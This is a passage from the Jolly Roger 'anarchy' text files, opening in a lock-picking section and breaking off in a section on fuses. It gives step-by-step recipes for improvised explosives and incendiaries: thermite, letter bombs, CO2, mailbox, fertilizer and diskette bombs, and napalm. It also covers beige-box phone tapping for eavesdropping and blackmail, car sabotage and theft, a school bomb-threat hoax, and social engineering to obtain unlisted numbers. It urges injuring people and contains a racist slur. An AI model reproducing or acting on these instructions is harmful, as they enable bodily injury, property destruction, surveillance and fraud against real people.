  730. Normal Picking:  Using a pick set to align the pins, one by one, 
  731.                  until the shear line is set and the lock opens.
  732.  
  733. Racking:  This method uses picks that are constructed with a 
  734.           series of bumps, or diamond shape notches.  These picks
  735.           are "raked" (i.e. run over all the pins at one time).  
  736.           With luck, the pins will raise in the open position and
  737.           stay there.  Raking, if successful, can be much less of
  738.           an effort than standard picking.
  739.  
  740. Lock Aid Gun:  This gun shaped device was invented a number of 
  741.                years ago and has found application with many 
  742.                locksmiths and security personnel.  Basically, a 
  743.                needle shaped pick is inserted in the snout of the
  744.                "gun", and the "trigger" is pulled.  This action 
  745.                snaps the pick up and down strongly.  If the tip is
  746.                slipped under the pins, they will also be snapped 
  747.                up and down strongly.  With a bit of luck they will
  748.                strike each other and separate at the shear line 
  749.                for a split second.  When this happens the lock 
  750.                will open.  The lock aid gun is not 100% 
  751.                successful, but when it does work, the results are 
  752.                very dramatic.  You can sometimes open the lock 
  753.                with one snap of the trigger.
  754.  
  755. Vibrator:  Some crafty people have mounted a needle pick into an 
  756.            electric toothbrush power unit.  This vibrating effect
  757.            will sometimes open pin tumbler locks -- instantly.
  758.  
  759. There is now another method to open pin and wafer locks in a very
  760. short time.  Although it resembles a toothbrush pick in 
  761. appearance, it is actually an electronic device.  I am speaking of
  762. the Cobra pick that is designed and sold by:
  763.  
  764. Fed Corporation
  765. P.O. Box 569
  766. Scottsdale, AR  85252
  767.  
  768. The Cobra uses two nine volt batteries, teflon bearings (for less
  769. noise), and a cam roller.  It comes with three picks (for 
  770. different types of locks) and works both in America and overseas,
  771. on pin or wafer locks.  The Cobra will open group one locks 
  772. (common door locks) in three to seven seconds with no damage, in 
  773. the hands of an experienced locksmith.  It can take a few seconds
  774. more or up to a half a minute for someone with no experience at 
  775. all.  It will also open group two locks (including government, 
  776. high security, and medecos), although this can take a short time 
  777. longer.  It will not open GM sidear locks, although a device is
  778. about to be introduced to fill that gap.  How much for this toy 
  779. that will open most locks in seven seconds?
  780.  
  781. $235.00 plus $4.00 shipping and handling.
  782.  
  783. For you hard core safe crackers, FC also sells the MI-6 that will 
  784. open most safes at a cost of $10,000 for the three wheel attack 
  785. model, and $10,500 for the four wheel model.  It comes in a sturdy
  786. aluminum carrying case with monitor, disk drive and software.
  787.  
  788. If none of these safe and sane ideas appeal to you, you can always
  789. fall back on the magic thermal lance...
  790.  
  791. The thermal lance is a rather crude instrument constructed from 
  792. 3/8 inch hollow magnesium rods.  Each tube comes in a 10 foot 
  793. length, but can be cut down if desired.  Each one is threaded on 
  794. one end.  To use the lance, you screw the tube together with a 
  795. matted regulator (like a welding outfit uses) and hook up an 
  796. oxygen tank.  Then oxygen is turned on and the rod is lit with a 
  797. standard welding ignitor.  The device produces an incredible 
  798. amount of heat.  It is used for cutting up concrete blocks or even
  799. rocks.  An active lance will go through a foot of steel in a few 
  800. seconds.  The lance is also known as a burning bar, and is 
  801. available from:
  802.  
  803. C.O.L. MFG
  804. 7748 W. Addison
  805. Chicago, IL  60634
  806. The Arts of Lockpicking II             courtesy of The Jolly Roger
  807.  
  808. So you want to be a criminal.  Well, if you want to be like James 
  809. Bond and open a lock in fifteen seconds, then go to Hollywood, 
  810. because that is the only place you are ever going to do it.  Even 
  811. experienced locksmiths can spend five to ten minutes on a lock if
  812. they are unlucky.  If you are wanting extremely quick access, look
  813. elsewhere.  The following instructions will pertain mostly to the
  814. "lock in knob" type lock, since it is the easiest to pick.
  815.  
  816. First of all, you need a pick set.  If you know a locksmith, get 
  817. him to make you a set.  This will be the best possible set for you
  818. to use.  If you find a locksmith unwilling to supply a set, don't 
  819. give up hope.  It is possible to make your own, if you have access
  820. to a grinder (you can use a file, but it takes forever).
  821.  
  822. The thing you need is an allen wrench set (very small).  These 
  823. should be small enough to fit into the keyhole slot.  Now, bend 
  824. the long end of the allen wrench at a slight angle (not 90  
  825. degrees).  Now, take your pick to a grinder or a file, and smooth 
  826. the end until it is rounded so it won't hang inside the lock.  
  827. Test your tool out on doorknobs at your house to see if it will 
  828. slide in and out smoothly.  Now, this is where the screwdriver 
  829. comes in.  It must be small enough for it and your pick to be used
  830. in the same lock at the same time, one above the other.  In the 
  831. coming instructions, please refer to this chart of the interior of
  832. a lock:
  833. ______________________________
  834.                               \ K
  835.         |  |  |  |   |   |    / E
  836.            |     |   |   |    \ Y           [|]  Upper tumbler pin
  837.         ^     ^               / H           [^]  Lower tumbler pin
  838.         ^  ^  ^  ^   ^   ^    \ O           [-]  Cylinder wall
  839.                               / L   (This is a greatly simplified
  840.                               \ E    drawing)
  841. ______________________________/
  842.  
  843. The object is to press the pin up so that the space between the 
  844. upper pin and the lower pin is level with the cylinder wall.  Now,
  845. if you push a pin up, it's tendency is to fall back down, right?
  846. That is where the screwdriver comes in.  Insert the screwdriver 
  847. into the slot and turn.  This tension will keep the "solved" pins
  848. from falling back down.  Now, work from the back of the lock to 
  849. the front, and when you are through, there will be a click, the
  850. screwdriver will turn freely, and the door will open.
  851.  
  852. Do not get discouraged on your first try!  It will probably take 
  853. you about twenty to thirty minutes your first time.  After that,
  854. you will quickly improve with practice.
  855. Solidox Bombs                                   by The Jolly Roger
  856.  
  857. Most people are not aware that a volatile, extremely explosive 
  858. chemical can be bought over the counter:  Solidox.
  859.  
  860. Solidox comes in an aluminum can containing 6 grey sticks, and can 
  861. be bought at Kmart, and various hardware supply shops for around 
  862. $7.00.  Solidox is used in welding applications as an oxidizing 
  863. agent for the hot flame needed to melt metal.  The most active 
  864. ingredient in Solidox is potassium chlorate, a filler used in many 
  865. military applications in the WWII era.
  866.  
  867. Since Solidox is literally what the name says:  SOLID OXygen, you 
  868. must have an energy source for an explosion.  The most common and 
  869. readily available energy source is common household sugar, or 
  870. sucrose.  In theory, glucose would be the purest energy source, 
  871. but it is hard to find a solid supply of glucose.
  872.  
  873. Making the mixture:
  874.  
  875. [1]  Open the can of Solidox, and remove all 6 sticks.  One by 
  876.      one, grind up each of the sticks (preferably with a mortar 
  877.      and pestle) into the finest powder possible.
  878. [2]  The ratio for mixing the sugar with the Solidox is 1:1, so 
  879.      weigh the Solidox powder, and grind up the equivalent amount 
  880.      of sugar.
  881. [3]  Mix equivalent amounts of Solidox powder, and sugar in a 1:1 
  882.      ratio.
  883.  
  884. It is just that simple!  You now have an extremely powerful 
  885. substance that can be used in a variety of applications.  A word 
  886. of caution:  be EXTREMELY careful in the entire process.  Avoid 
  887. friction, heat, and flame.  A few years back, a teenager I knew 
  888. blew 4 fingers off while trying to make a pipe bomb with Solidox.  
  889. You have been warned!
  890. High Tech Revenge: The Beigebox  rev.2          by The Jolly Roger
  891.    
  892.              -------------Introduction-------------
  893. Have you ever wanted a lineman's handset? Surely every phreak has at
  894. least once considered the phun that he could have with one. After searching
  895. unlocked phone company trucks for months, we had an idea. We could build
  896. one. We did, and named it the "Beige Box" simply because that is the color
  897. of ours. 
  898. The beigebox is simply a consumer lineman's handset, which is a 
  899. phone that can be attached to the outside of a person's house.  To 
  900. fabricate a beigebox, follow along.
  901.  
  902.              ---------Construction and Use---------
  903. The construction is very simple. First you must understand the concept of
  904. the device. In a modular jack, there are four wires. These are red, green,
  905. yellow, and black. For a single line telephone, however, only two matter:
  906. the red (ring) and green (tip). The yellow and the black are not neccessary
  907. for this project. A lineman's handset has two clips on it: the ring and
  908. the tip. Take a modular jack and look at the bottom of it's casing. There
  909. should be a grey jack with four wires  (red, green, yellow & black)
  910. leading out of it. To the end of the red wire attach a red aligator clip.
  911. To the end of the green wire attatch a green aligator clip. The yellow
  912. and black wires can be removed, although I would only set them aside so
  913. that you can use the modular jack in future projects. Now insert your
  914. telephone's modular plug into the modular jack. That's it. This particular
  915. model is nice because it is can be easily made, is inexpensive, uses
  916. common parts that are readily available, is small, is lightweight,
  917. and does not require the destruction of a phone.
  918.  
  919.              ------------Beige Box Uses------------
  920. There are many uses for a Beige Box. However, before you can use it,
  921. you must know how to attach it to the output device. This device can be
  922. of any of Bell switching apparatus that include germinal sets (i.e.
  923. remote switching centers, bridgin heads, cans, etc.). To open most Bell
  924. Telephone switching apparatus, you must have a 7/16 inch hex driver
  925. (or a good pair of needle nose pliers work also).
  926. This piece of equipment can be picked up at your local hardware store.
  927. With your hex driver (or pliers), turn the security bolt(s) approximately
  928. 1/8 of an inch counter-clockwise and open. If your output device is locked,
  929. then you must have some knowledge of destroying and/or picking locks.
  930. However, we have never encountered a locked output device. Once you have
  931. opened your output device, you should see a mass of wires connected to
  932. terminals. On most output devices, the terminals should be labeled "T"
  933. (Tip -- if not labeled, it is usually on the left) and "R" (Ring -- if
  934. not labeled, usually on the right).
  935.  
  936. Remember: Ring - red - right. The "Three R's" -- a simple way to
  937. remember which is which. Now you must attach all the red alligator clip
  938. (Ring) to the "R" (Ring) terminal.
  939. Attach the green alligator clip (Tip) to the "T" (Tip) terminal.
  940.  
  941. Note: If instead of a dial tone you hear nothing, adjust the alligator
  942. clips so that they are not touching each other terminals. Also make sure
  943. they are firmly attached. By this time you should hear a dial tone.
  944. Dial ANI to find out the number you are using (you wouldn't want to use
  945. your own). Here are some practicle aplications:
  946.  
  947.        > Eavesdropping
  948.        > Long distance, static free free fone calls to phriends
  949.        > Dialing direct to Alliance Teleconferencing (also no static)
  950.        > Phucking people over
  951.        > Bothering the operator at little risk to yourself
  952.        > Blue Boxing with greatly reduced chance of getting caught
  953.        > Anything at all you want, since you are on an extension of that line.
  954.  
  955. Eavesdropping
  956. -------------
  957. To be most effective, first attach the Beige Box then your phone. This
  958. eliminates the static caused by connecting the box, therefore
  959. reducing the potential suspicion of your victim. When eavesdropping,
  960. it is allways best to be neither seen nor heard. If you hear someone
  961. dialing out, do not panic; but rather hang up, wait, and pick up the
  962. receiver again. The person will either have hung up or tried to complete
  963. their call again. If the latter is true, then listen in, and perhaps you
  964. will find information worthy of blackmail! If you would like to know who
  965. you are listening to, after dialing ANI, pull a CN/A on the number.
  966.  
  967. Dialing Long Distance
  968. ---------------------
  969. This section is self explanitory, but don't forget to dial a "1" before
  970. the NPA.
  971.  
  972. Dialing Direct to Aliance Teleconferencing
  973. ------------------------------------------
  974. Simply dial 0-700-456-1000 and you will get instructions from there.
  975. I prefer this method over PBX's, since PBX's often have poor reception
  976. and are more dificult to come by.
  977.  
  978. Phucking People Over
  979. --------------------
  980. This is a very large topic of discussion. Just by using the other topics
  981. described, you can create a large phone bill for the person (they will
  982. not have to pay for it, but it will be a big hassle for them). In addition,
  983. since you are an extension of the person's line, you can leave your
  984. phone off the hook, and they will not be able to make or receive calls.
  985. This can be extremely nasty because no one would expect the cause
  986. of the problem. 
  987. Bothering the Operator
  988. ----------------------
  989. This is also self explanitary and can provide hours of entertainment.
  990. Simply ask her things that are offensive or you would not like traced
  991. to your line. This also corresponds to the previously described section,
  992. Phucking People Over. After all, guess who's line it gets traced to?
  993. He he he...
  994.  
  995. Blue Boxing
  996. -----------
  997. See a file on Blue Boxing for more details. This is an especially nice
  998. feature if you live in an ESS-equiped prefix, since the calls are, once
  999. again, not traced to your line...
  1000.  
  1001. ---POTENTIAL RISKS OF BEIGE BOXING----
  1002. Overuse of the Beige Box may cause suspicians within the Gestapo,
  1003. and result in legal problems. Therefor, I would recomend you:
  1004.  
  1005.             > Choose a secluded spot to do your Beige Boxing,
  1006.             > Use more than one output device
  1007.             > Keep a low profile (i.e., do not post under your real
  1008.               name on a public BBS concering your occomplishments)
  1009.             > In order to make sure the enemy has not been inside your output
  1010.               device, I recomend you place a piece of transparent tape over
  1011.               the opening of your output device. Therefor, if it is
  1012.               opened in your abscence, the tapqe will be displaced and
  1013.               you will be aware of the fact that someone has intruded
  1014.               on your teritory.
  1015.  
  1016. Now, imagine the possibilities:  a $2000 dollar phone bill for 
  1017. that special person, 976 numbers galore, even harassing the 
  1018. operator at no risk to you!  Think of it as walking into an 
  1019. enemies house, and using their phone to your heart's content.
  1020.  
  1021.                                       ---------Jolly Roger
  1022.  
  1023.                How to make a CO2 bomb        by the Jolly Roger
  1024.  
  1025. You will have to use up the cartridge first by either shooting it 
  1026. or whatever. With a nail, force a hole bigger so as to allow the 
  1027. powder and wick to fit in easily. Fill the cartridge with black 
  1028. powder and pack it in there real good by tapping the bottom of the 
  1029. cartridge on a hard surface (I said TAP not SLAM!). Insert a fuse. 
  1030. I recommend a good water-proof cannon fuse, or an m-80 type fuse, 
  1031. but firecracker fuses work, if you can run like a black man runs 
  1032. from the cops after raping a white girl.) Now, light it and run 
  1033. like hell! It does wonders for a row of mailboxes (like the ones 
  1034. in apartment complexes), a car (place under the gas tank), a 
  1035. picture window (place on window sill), a phone booth (place right 
  1036. under the phone), or any other devious place. This thing throws 
  1037. shrapnel, and can make quit a mess!!  -Jolly Roger-
  1038.  
  1039.  
  1040. Thermite II... or A better way to make Thermite        by Jolly Roger
  1041.  
  1042. Thermite is nasty shit. Here is a good and easy way to make it. 
  1043. The first step is to get some iron-oxide (which is RUST!). Here is 
  1044. a good way to make large quantities in a short time:
  1045.  
  1046. - Get a DC convertor like the one used on a train set. Cut the 
  1047. connector off, seperate the wires, and strip them both.
  1048.  
  1049. - Now you need a jar of water with a tablespoon or so of sodium 
  1050. chloride (which is SALT!) added to it. This makes the water 
  1051. conductive.
  1052.  
  1053. - Now insert both wires into the mixture (I am assuming you 
  1054. plugged the convertor in...) and let them sit for five minutes. 
  1055. One of them will start bubbling more than the other. This is the 
  1056. POSITIVE(+) wire. If you do not do this test right, the final 
  1057. product will be the opposite (chemically) of rust, which is RUST 
  1058. ACID. You have no use for this here (although it IS useful!).
  1059.  
  1060. - Anyway, put the nail tied to the positive wire into the jar. Now 
  1061. put the negative wire in the other end. Now let it sit overnight 
  1062. and in the morning scrape the rust off of the nail & repeat until 
  1063. you got a bunch of rust on the bottom of the glass. Be generous 
  1064. with your rust collection. If you are going through the trouble of 
  1065. making thermite, you might as well make a lot, right?
  1066.  
  1067. - Now remove the excess water and pour the crusty solution onto a 
  1068. cookie sheet. Dry it in the sun for a few hours, or inside 
  1069. overnight. It should be an orange-brown color (although I have 
  1070. seen it in many different colors! Sometimes the color gets fucked 
  1071. up, what can I say... but it is still iron oxide!)
  1072.  
  1073. - Crush the rust into a fine powder and heat it in a cast-iron pot 
  1074. until it is red. Now mix the pure iron oxide with pure alluminum 
  1075. filinos which can be bought or filed down by hand from an aluminum 
  1076. tube or bar. The ratio or iron oxide to aluminum is 8 grams to 3 
  1077. grams.
  1078.  
  1079. - Congrats! You have just made THERMITE! Now, to light it...
  1080.  
  1081. - Thermite requires a LOT of heat (more than a blow torch!) to 
  1082. ignite. However, a magnesium ribbon (which is sorta hard to find.. 
  1083. call around) will do the trick.  It takes the heat from the 
  1084. burning magnesium to light the thermite.
  1085.  
  1086. - Now when you see your victim's car, pour a fifty-cent sized pile 
  1087. onto his hood, stick the ribbon in it, and light the ribbon with 
  1088. the blow torch. Now chuckle as you watch it burn through the hood, 
  1089. the block, the axle, and the pavement. BE CAREFUL! The ideal 
  1090. mixtures can vaporize CARBON STEEL! Another idea is to use 
  1091. thermite to get into pay phone cash boxes. HAVE FUN!! -Jolly Roger-
  1092.  
  1093.  
  1094. Touch Explosives                         by the Jolly Roger
  1095.  
  1096. This is sort of a mild explosive, but it can be quite dangerous in 
  1097. large quantities. To make touch explosive (such as that found in a 
  1098. snap-n-pop, but more powerful), use this recipe:
  1099.  
  1100. - Mix iodine crystals into ammonia until the iodine crystals will 
  1101. not dissolve into the ammonia anymore. Pour off the excess ammonia 
  1102. and dry out the crystals on a baking sheet the same way as you 
  1103. dried the thermite (in other words, just let it sit overnight!).
  1104.  
  1105. - Be careful now because these crystals are now your touch 
  1106. explosive. Carefully wrap a bunch in paper (I mean carefully! 
  1107. Friction sets 'em off!) and throw them around.. pretty loud, huh?
  1108. They are fun to put on someone's chair. Add a small fish sinker to 
  1109. them and they can be thrown a long distance (good for crowds, 
  1110. football games, concerts, etc.) Have fun!  -Jolly Roger-
  1111.  
  1112.  
  1113. Letter Bombs                            by The Jolly Roger
  1114.  
  1115. - You will first have to make a mild version of thermite. Use my 
  1116. recipe, but substitute iron fillings for rust. 
  1117.  
  1118. - Mix the iron with aluminum fillings in a ratio of 75% aluminum 
  1119. to 25% iron. This mixture will burn violently in a closed space 
  1120. (such as an envelope). This bring us to our next ingredient...
  1121.  
  1122. - Go to the post office and buy an insulated (padded) envelope. 
  1123. You know, the type that is double layered... Seperate the layers 
  1124. and place the mild thermite in the main section, where the letter 
  1125. would go. Then place magnesium powder in the outer layer. There is 
  1126. your bomb!!
  1127.  
  1128. - Now to light it... this is the tricky part and hard to explain. 
  1129. Just keep experimenting until you get something that works. The 
  1130. fuse is just that touch explosive I have told you about in another 
  1131. one of my anarchy files. You might want to wrap it like a long 
  1132. cigarette and then place it at the top of the envelope in the 
  1133. outer layer (on top of the powdered magnesium). When the touch 
  1134. explosive is torn or even squeezed hard it will ignite the 
  1135. powdered magnesium (sort of a flash light) and then it will burn 
  1136. the mild thermite. If the thermite didn't blow up, it would at 
  1137. least burn the fuck out of your enemy (it does wonders on human 
  1138. flesh!). 
  1139.  
  1140. NOW that is REVENGE!                 -Jolly Roger-
  1141.  
  1142.  
  1143. Paint Bombs                          by The Jolly Roger
  1144.  
  1145. To make a pain bomb you simply need a metal pain can with a 
  1146. refastenable lid, a nice bright color paint (green, pink, purple, 
  1147. or some gross color is perfect!), and a quantity of dry ice. Place 
  1148. the paint in the can and then drop the dry ice in. Quicky place 
  1149. the top on and then run like hell! With some testing you can time 
  1150. this to a science. It depends on the ratio of dry ice to paint to 
  1151. the size of the can to how full it is. If you are really pissed 
  1152. off at someone, you could place it on their doorstep, knock on the 
  1153. door, and then run!! Paint will fly all over the place HAHAHA!!
  1154.                                         -Jolly Roger-
  1155.  
  1156.  
  1157.  
  1158. Ways to send a car to Hell            by The Jolly Roger
  1159.  
  1160. There are 1001 ways to destroy a car but I am going to cover only 
  1161. the ones that are the most fun (for you), the most destructive 
  1162. (for them), and the hardest to trace (for the cops). 
  1163.  
  1164. - Place thermite on the hood, light it, and watch it burn all the 
  1165. way through the pavement!
  1166.  
  1167. - Tape a CO2 bomb to the hood, axel, gas tank, wheel, muffler, 
  1168. etc.)
  1169.  
  1170. - Put a tampon, dirt, sugar (this on is good!), a ping pong ball, 
  1171. or just about anything that will dissolve in the gas tank.
  1172.  
  1173. - Put potatoes, rocks, banannas, or anything that will fit, into 
  1174. the tailpipe. Use a broom handle to stuff 'em up into the 
  1175. tailpipe.
  1176.  
  1177. - Put a long rag into the gas tank and light it...
  1178.  
  1179. - Steal a key, copy it, replace it, and then steal the stereo.
  1180.  
  1181. - Break into the car. Cut a thin metal ruler into a shape like 
  1182. this:
  1183.              ----
  1184.              |  |
  1185.              |  |
  1186.              |  |
  1187.              | <
  1188.              ----
  1189.  
  1190. Slide it into the outside window and keep pulling it back up until 
  1191. you catch the lock cable which should unlock the door. This device 
  1192. is also called a SLIM JIM. Now get the stereo, equalizer, radar 
  1193. detector, etc. Now destroy the inside. (A sharp knife does wonders 
  1194. on the seats!)
  1195.  
  1196. Have Fun!                                    -Jolly Roger-
  1197.  
  1198.  
  1199. Do ya hate school?                  by The Jolly Roger
  1200.  
  1201. - One of my favorites for getting out of a class or two is to call 
  1202. in a bomb threat. Tell 'em that it is in a locker. Then they have 
  1203. to check them all, whilst you can slip away for an hour or two. 
  1204. You can even place a fake bomb (in any locker but YOURS!). They 
  1205. might cancel school for a week while they investigate (of course, 
  1206. you will probably have to make it up in the summer...).
  1207.  
  1208. - Get some pure potassium or pure sodium, put it in a capsule, and 
  1209. flush it down the toilet (smells awful! Stinks up the whole school!).
  1210.  
  1211. - Use a smoke grenade in the hallway.
  1212.  
  1213. - Steal the computer passwords & keys. Or steal the 80 column cards
  1214.  inside if they are (gag) IBM.
  1215.  
  1216. - Make friends with student assistants and have them change your
  1217. grades when the teachers hand in their bubble sheets for the report
  1218. cards.
  1219.  
  1220. - Spit your gum out on the carpet in the library or whatever and 
  1221. grind it into the carpet. Watch the janitors cry!
  1222.  
  1223. - Draw on lockers or spraypaint on the building that the principal 
  1224. is a fascist. 
  1225.  
  1226. - Stick a potato in the tailpipe of the principal's car.
  1227.  
  1228. - USE YOUR IMAGINATION!                   -Jolly Roger-
  1229.  
  1230.  
  1231. Phone related vandalism                     by the Jolly Roger
  1232.  
  1233. If you live where there are underground lines then you will be 
  1234. able to ruin someone's phone life very easily. All you must do is 
  1235. go to their house and find the green junction box that interfaces 
  1236. their line (and possibly some others in the neighborhood) with the 
  1237. major lines. These can be found just about anywhere but they are 
  1238. usually underneath the nearest phone pole. Take a socket wrench 
  1239. and loosen the nut on the right. Then just take clippers or a 
  1240. sledge hammer or a bomb and destroy the insides and pull up their 
  1241. phone cable. Now cut it into segments so it can't be fixed but 
  1242. must be replaced (There is a week's worth of work for 'em!!)
  1243.                                       -Jolly Roger-
  1244.  
  1245.  
  1246.  
  1247. Highway radar jamming                       by The Jolly Roger
  1248.  
  1249. Most drivers wanting to make better time on the open road will 
  1250. invest in one of those expensive radar detectors. However, this 
  1251. device will not work against a gun type radar unit in which the 
  1252. radar signal is not present until the cop has your car in his 
  1253. sights and pulls the trigger. Then it is TOO LATE for you to slow 
  1254. down. A better method is to continuously jam any signal with a 
  1255. radar signal of your own. I have tested this idea with the 
  1256. cooperation of a local cop and found that his unit reads random 
  1257. numbers when my car approached him. It is suprisingly easy to make 
  1258. a low power radar transmitter. A nifty little semiconductor called 
  1259. a Gunn Diode will generate microwaves when supplied with the 5 to 
  1260. 10 volt DC and enclosed in the correct size cavity (resonater). An 
  1261. 8 to 3 terminal regulator can be used to get this voltage from a 
  1262. car's 12v system. However, the correct construction and tuning of 
  1263. the cavity is difficult without good microwave measurement 
  1264. equipment. Police radars commonly operate on the K band at 22 ghz. 
  1265. Or more often on the X band at 10.525 ghz. most microwave intruder 
  1266. alarms and motion detectors (mounted over automatic doors in 
  1267. supermarkets & banks, etc.) contain a Gunn type 
  1268. transmitter/receiver combination that transmits about 10 kilowatts 
  1269. at 10.525 ghz. These units work perfectly as jammers. If you 
  1270. cannot get one locally, write to Microwave Associates in 
  1271. Burlington, Massachusettes and ask them for info on 'Gunnplexers' 
  1272. for ham radio use. When you get the unit it may be mounted in a 
  1273. plastic box on the dash or in a weather-proff enclosure behind the 
  1274. PLASTIC grille. Switch on the power when on an open highway. The 
  1275. unit will not jam radar to the side or behind the car so don't go 
  1276. speeding past the radar trap. An interesting phenomena you will 
  1277. notice is that the drivers who are in front of you who are using 
  1278. detectors will hit their brakes as you approach large metal signs 
  1279. and bridges. Your signal is bouncing off of these objects and 
  1280. triggering their radar detectors!       HAVE FUN!
  1281.                                        -Jolly Roger-
  1282.  
  1283. P.S. If you are interested in this sort of thing, get a copy of 
  1284. POPULAR COMMUNICATIONS. The ads in there tell you where you can 
  1285. get all kinds of info on all kinds of neat equipment for all kinds 
  1286. of neat things!
  1287.  
  1288.  
  1289. Smoke Bombs                         by the Jolly Roger
  1290.  
  1291. Here is the recipe for one helluva smoke bomb!
  1292.  
  1293. 4 parts sugar
  1294. 6 parts potassium nitrate (Salt Peter)
  1295.  
  1296. Heat this mixture over a LOW flame until it melts, stirring well. 
  1297. Pour it into a future container and, before it solidifies, imbed a 
  1298. few matches into the mixture to use as fuses. One pound of this 
  1299. stuff will fill up a whole block with thick, white smoke!
  1300.  
  1301.  
  1302. Mail Box Bombs                                 by the Jolly Roger
  1303.  
  1304. (1) Two litre bottle of chlorine (must contain sodium hypochlorate)
  1305.  
  1306.     Small amount of sugar
  1307.  
  1308.     Small amount of water
  1309.  
  1310.  
  1311. Mix all three of these in equal amounts to fill about 1/10 of the 
  1312. bottle. Screw on the lid and place in a mailbox. It's hard to 
  1313. believe that such a small explosion will literally rip the mailbox 
  1314. in half and send it 20 feet into the air! Be careful doing this, 
  1315. though, because if you are caught, it is not up to the person 
  1316. whose mailbox you blew up to press charges. It is up to the city.
  1317.                                     -Jolly Roger-
  1318.  
  1319.  
  1320. Mail Box Bombs                                 by the Jolly Roger
  1321.  
  1322. (1) Two litre bottle of chlorine (must contain sodium hypochlorate)
  1323.  
  1324.     Small amount of sugar
  1325.  
  1326.     Small amount of water
  1327.  
  1328.  
  1329. Mix all three of these in equal amounts to fill about 1/10 of the 
  1330. bottle. Screw on the lid and place in a mailbox. It's hard to 
  1331. believe that such a small explosion will literally rip the mailbox 
  1332. in half and send it 20 feet into the air! Be careful doing this, 
  1333. though, because if you are caught, it is not up to the person 
  1334. whose mailbox you blew up to press charges. It is up to the city.
  1335.                                     -Jolly Roger-
  1336.  
  1337.  
  1338. The easiest way to hotwire cars                 by the Jolly Roger
  1339.  
  1340. Get in the car. Look under the dash. If it enclosed, forget it 
  1341. unless you want to cut through it. If you do, do it near the 
  1342. ignition. Once you get behind or near the ignition look for two 
  1343. red wires. In older cars red was the standard color, if not, look 
  1344. for two matched pairs. When you find them, cross them and take 
  1345. off!                                  -Jolly Roger-
  1346.  
  1347.  
  1348. How to make Napalm                              by the Jolly Roger
  1349.  
  1350. - Pour some gas into an old bowl, or some kind of container.
  1351.  
  1352. - Get some styrofoam and put it in the gas, until the gas won't 
  1353. eat anymore. You should have a sticky syrup.
  1354.  
  1355. - Put it on the end of something (don't touch it!!). The unused 
  1356. stuff lasts a long time!
  1357.                                        -Jolly Roger-
  1358.  
  1359.  
  1360.  
  1361. How to make a fertilizer bomb                       by Jolly Roger
  1362.  
  1363. Ingredients:
  1364.  
  1365. - Newspaper
  1366. - Fertilizer (the chemical kind, GREEN THUMB or ORCHO)
  1367. - Cotton
  1368. - Diesel fuel
  1369.  
  1370. Make a pouch out of the newspaper and put some fertilizer in it. 
  1371. Then put cotton on top. Soak the cotton with fuel. Then light and 
  1372. run like you have never ran before! This blows up 500 square feet 
  1373. so don't do it in an alley!!               -Jolly Roger-
  1374.  
  1375.  
  1376.  
  1377. How to make a fertilizer bomb                       by Jolly Roger
  1378.  
  1379. Ingredients:
  1380.  
  1381. - Newspaper
  1382. - Fertilizer (the chemical kind, GREEN THUMB or ORCHO)
  1383. - Cotton
  1384. - Diesel fuel
  1385.  
  1386. Make a pouch out of the newspaper and put some fertilizer in it. 
  1387. Then put cotton on top. Soak the cotton with fuel. Then light and 
  1388. run like you have never ran before! This blows up 500 square feet 
  1389. so don't do it in an alley!!               -Jolly Roger-
  1390.  
  1391.  
  1392.  
  1393. Tennis Ball Bombs                               by The Jolly Roger
  1394.  
  1395. Ingredients:
  1396.  
  1397. - Strike anywhere matches
  1398. - A tennis ball
  1399. - A nice sharp knife
  1400. - Duct tape
  1401.  
  1402. Break a ton of matchheads off. Then cut a SMALL hole in the tennis 
  1403. ball. Stuff all of the matchheads into the ball, until you can't 
  1404. fit any more in. Then tape over it with duct tape. Make sure it is 
  1405. real nice and tight! Then, when you see a geek walking down the 
  1406. street, give it a good throw. He will have a blast!!
  1407.                                           -Jolly Roger-
  1408.  
  1409.  
  1410. Diskette Bombs                                  by the Jolly Roger
  1411.  
  1412. You need:
  1413.  
  1414.  - A disk
  1415.  - Scissors
  1416.  - White or blue kitchen matches (they MUST be these colors!)
  1417.  - Clear nail polish
  1418.  
  1419. - Carefully open up the diskette (3.5" disks are best for this!)
  1420.  
  1421. - Remove the cotton covering from the inside.
  1422.  
  1423. - Scrape a lot of match powder into a bowl (use a wooden scraper, 
  1424. metal might spark the matchpowder!)
  1425.  
  1426. - After you have a lot, spread it evenly on the disk.
  1427.  
  1428. - Using the nail polish, spread it over the match mixture
  1429.  
  1430. - Let it dry
  1431.  
  1432. - Carefully put the diskette back together and use the nail polish 
  1433. to seal it shut on the inside (where it came apart).
  1434.  
  1435. - When that disk is in a drive, the drive head attempts to read 
  1436. the disk, which causes a small fire (ENOUGH HEAT TO MELT THE DISK 
  1437. DRIVE AND FUCK THE HEAD UP!!). ahahahahaha! Let the fuckhead try 
  1438. and fix THAT!!!                        -Jolly Roger-
  1439.  
  1440.  
  1441.  
  1442. Unlisted Phone Numbers                          by The Jolly Roger
  1443.  
  1444. There are a couple of different ways of doing this. Let's see if 
  1445. this one will help: Every city has one or more offices dedicated 
  1446. to assigning numbers to the telephone wire pairs. These offices 
  1447. are called DPAC offices and are available to service reps who are 
  1448. installing or repairing phones. To get the DPAC number, a service 
  1449. rep would call the customer service number for billing information 
  1450. in the town that the number is located in that he is trying to get 
  1451. the unlisted number of. (Got that?) The conversation would go 
  1452. something like this: "Hi, Amarillo, this is Joe from Anytown 
  1453. business office, I need the DPAC number for the south side of 
  1454. town." This info is usually passed out with no problems, so... if 
  1455. the first person you call doesn't have it, try another. REMEMBER, 
  1456. no one has ANY IDEA who the hell you are when you are talking on 
  1457. the phone, so you can be anyone you damn well please! (heheheheh!) 
  1458. When you call the DPAC number, just tell them that you need a 
  1459. listing for either the address that you have, or the name. DPAC 
  1460. DOES NOT SHOW WHETHER THE NUMBER IS LISTED OR UNLISTED!! Also, if 
  1461. you're going to make a habit of chasing numbers down, you might 
  1462. want to check into geting a criss-cross directory, which lists 
  1463. phone numbers by their addresses. It costs a couple-a-hundred bux, 
  1464. but it is well worth it if you have to chase more than one or two 
  1465. numbers down!                                -Jolly Roger-
  1466.  
  1467.  
  1468. Fuses                            brought to you by The Jolly Roger
  1469.  
  1470. You would be surprised how many files are out there that use what 
  1471. falls under the category of a "fuse." They assume that you just 
  1472. have a few lying around, or know where to get them. Well, in some 
  1473. parts of the country, fuses are extremely hard to come by... so 
  1474. this file tells you how to make your own. Both fuses presented 
  1475. here are fairly simple to make, and are fairly reliable.
  1476.  
  1477. SLOW BURNING FUSE
  1478. ~~~~~~~~~~~~~~~~~ (approx. 2 inches per minute)
  1479.  
  1480. Materials needed:
  1481.  
  1482.  - Cotton string or 3 shoelaces
  1483.  - Potassium Nitrate or Potassium Chlorate
